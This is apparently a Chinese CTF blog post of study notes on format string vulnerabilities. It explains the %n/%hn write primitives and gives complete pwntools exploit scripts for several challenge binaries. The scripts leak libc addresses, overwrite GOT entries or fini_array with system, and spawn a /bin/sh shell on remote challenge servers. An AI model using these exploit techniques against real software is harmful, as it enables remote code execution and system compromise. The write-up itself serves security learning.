Format String

格式化字符串

格式化字符串漏洞在理由时一般分为三个部分

  • 格式化字符串函数
  • 格式化字符串
  • 要输出的变量(可选)

具体原理可参考CTF-WIKI,这里主要记录下做题的过程(👴又🥬又懒🐶,写不动🌶️

2022-1-7更新。。。感觉还是有些点问题,比如内存写入不太清晰,还是写下笔记,这里主要是32位下的程序

泄漏内存数据

  • 泄漏栈上内容
32位: %n$x (return栈上第n+1个参数值)
64位: %n$p (return栈上第n-5个参数值)(64位下优先寄存器传参
  • 泄漏内存地址的内容
32位: %n$s:把栈上第n+1个参数的值作为地址,返回该地址内存的值
64位: %n$s:把栈上第n-5个参数的值作为地址,返回该地址内存的值

覆写内存数据

  • 形式和泄漏类似,将$s改为$n
  • 用%xc控制写入字符数
%***c%n$n:  把栈上第n+1个参数的值作为地址,将该地址的高32bit值改为 hex(***)
%***c%n$hn: 把栈上第n+1个参数的值作为地址,将该地址的高16bit值改为 hex(***)
%***c%n$hhn:把栈上第n+1个参数的值作为地址,将该地址的高8bit值改为 hex(***)
hh一个字节,h双字节

例如

#include<stdio.h>

int main(void)
{
int x = 3;
int* p;
p = &x;

printf("0x12345678%n\n", p);
printf("x = %d\n", x);

return 0;
}

这样x的值就会被修改为10

例题:

[Jarvis OJ]fm

这题逻辑挺简单,x初始化为3,当修改x=4时就可以读出flag,所以我们就要利用format string将x对应内存地址处的值改为4

然后偏移的话,利用pwngdb的插件fmtarg算出是11

printf(x_address+"%c$n")
可以修改[x_address]的值为x_address的字符长度
这里很巧的一点就是p32(x_addr)的长度刚好是4个字节

exp

from pwn import *
io = remote('pwn2.jarvisoj.com' ,9895)

x_addr = 0x0804A02C
payload = p32(x_addr) + b"%11$n"
io.sendline(payload)

io.interactive()

实时数据监测

可以直接覆盖,也可以双字节覆盖

exp

from pwn import *

io = remote('111.200.241.244', 54060)
#io = process('./mon')
context.log_level = 'debug'

key_bss = 0x0804A048
offset = 12
#payload = fmtstr_payload(offset, {key_bss:0x02223322})

payload = p32(key_bss+2) + p32(key_bss)
payload += "%" + str(0x0222 - 8) + "c%12$hn"
payload += "%" + str(0x3322 - 0x0222) + "c%13$hn"

io.sendline(payload)

io.interactive()

inndy_echo

导入IDA中可以看到

do
{
fgets(&s, 256, stdin);
printf(&s);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");

在printf处可以利用,先在gdb中算出偏移是7,然后我们看到有system函数,我们就可以利用GOT HiJack将printf@got的内容改写成system@plt的地址,再写入/bin/sh\x00执行

from pwn import *

elf = ELF('echo')
#io = process('./echo')
io = remote('node4.buuoj.cn',26569)
#context.terminal = ['tmux','splitw','-h']
printf_got = elf.got['printf']
system_plt = elf.plt['system']

payload = fmtstr_payload(7,{printf_got:system_plt})
io.sendline(payload)
io.send('/bin/sh\x00')

io.interactive()

wdb_2018_2nd_easyfmt

首先查看文件是32位的只开了NX保护,用ida打开看下程序逻辑

puts("Do you know repeater?");
while ( 1 )
{
read(0, &buf, 0x64u);
printf(&buf);
putchar(10);
}

看上去就是写了个死循环,重复输入输出,且printf处存在格式化字符漏洞

  • 首先找到格式化字符的偏移,用fmtarg发现是The index of format argument : 7 ("\%6$p")

  • 通过printf@got的地址leak出我们想要的printf_addr,然后利用libc算出system(因为这里程序没有调用system函数,我们只能在libc中找)

  • 然后覆写printf@got地址为system的地址,再发送执行/bin/sh\x00拿到shell

    printf_got = elf.got['printf']
    payload = p32(printf_got) + "%6$s"
    io.recvuntil("repeater?\n")
    io.sendline(payload)
    io.recv(4) #先接收print@got的地址,然后才是我们想要泄漏的
    printf_addr = u32(io.recv(4))
    print(hex(printf_addr))

    下面红框里的才是我们需要的,蓝色框是printf@got的地址

    exp

    # coding=UTF-8
    from pwn import *
    #io = process('./eyfmt')
    io = remote('node4.buuoj.cn',28484)
    elf = ELF('./eyfmt')
    libc = ELF('./libc-2.23_32.so')
    context.log_level = 'debug'

    printf_got = elf.got['printf']
    payload = p32(printf_got) + "%6$s"
    io.recvuntil("repeater?\n")
    io.sendline(payload)
    io.recv(4) #先接收print@got的地址,然后才是我们想要泄漏的
    printf_addr = u32(io.recv(4))
    print(hex(printf_addr))

    '''
    因为这里LibcSearch不能用,libc文件在buu上下载
    libc = LibcSearch('printf', printf_addr)
    libc_base = printf_addr - libc.dump['printf']
    system = libc_base + libc.dump['system']
    '''

    libc_base = printf_addr - libc.symbols['printf']
    print(hex(libc_base))
    system = libc_base + libc.symbols['system']
    print(hex(system))

    payload1 = fmtstr_payload(6,{printf_got:system})
    io.sendline(payload1)
    io.send('/bin/sh\x00')

    io.interactive()

greeting-150

攻防世界的一道题目,格式化字符串任意写以及 _do_global_dtors_aux_fini_array_entry循环利用

exp

from pwn import *

elf = ELF('./greeting')
io = remote('111.200.241.244', 50819)

fini_arr = 0x08049934
main = 0x080485ED
strlen_got = 0x08049A54
system_plt = 0x08048490

payload = b'k' * 2 # 2
payload += p32(strlen_got+2)
payload += p32(fini_arr+2)
payload += p32(strlen_got)
payload += p32(fini_arr)
#16
pad_len = len("Nice to meet you, ") #18


payload += b"%" + str(0x0804 - 0x24) + "c%12$hn%13$hn"
payload += b"%" + str(0x8490 - 0x0804) + "c%14$hn"
payload += b"%" + str(0x85ED - 0x8490) + "c%15$hn"

io.sendlineafter("Please tell me your name... ", payload)

io.recvuntil("Please tell me your name... ")
io.sendline('/bin/sh\x00')

io.interactive()

[CISCN 2019西南]PWN1

这题和上题基本上一样的,循环➕任意覆盖地址

exp

from pwn import *

io = remote('1.14.71.254', 28030)
elf = ELF('./ciscn_2019_sw_pwn1')

main = 0x08048534
fini_addr = 0x0804979C
printf_got = elf.got['printf']
system_plt = 0x080483d0

payload = p32(printf_got + 2) + p32(fini_addr + 2) + p32(printf_got) + p32(fini_addr)
payload += "%" + str(0x0804 - 16) + "c%4$hn%5$hn"
payload += "%" + str(0x83d0 - 0x0804) + "c%6$hn"
payload += "%" + str(0x8534 - 0x83d0) + "c%7$hn"

io.sendlineafter('name?', payload)
io.recvuntil("name?")
io.sendline('/bin/sh\x00')


io.interactive()

TODO..

参考

https://cartermgj.github.io/2018/01/16/fsb_summary/

https://bbs.ichunqiu.com/thread-42943-1-1.html?from=bkyl

https://blog.csdn.net/qq_42728977/article/details/102880186?spm=1001.2014.3001.5501

https://blog.csdn.net/seaaseesa/article/details/102985263?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164207018816780261995209%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164207018816780261995209&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-102985263.first_rank_v2_pc_rank_v29&utm_term=%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Cgreeting-150&spm=1018.2226.3001.4187

作者

秋秋晚

发布于

2021-12-12

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...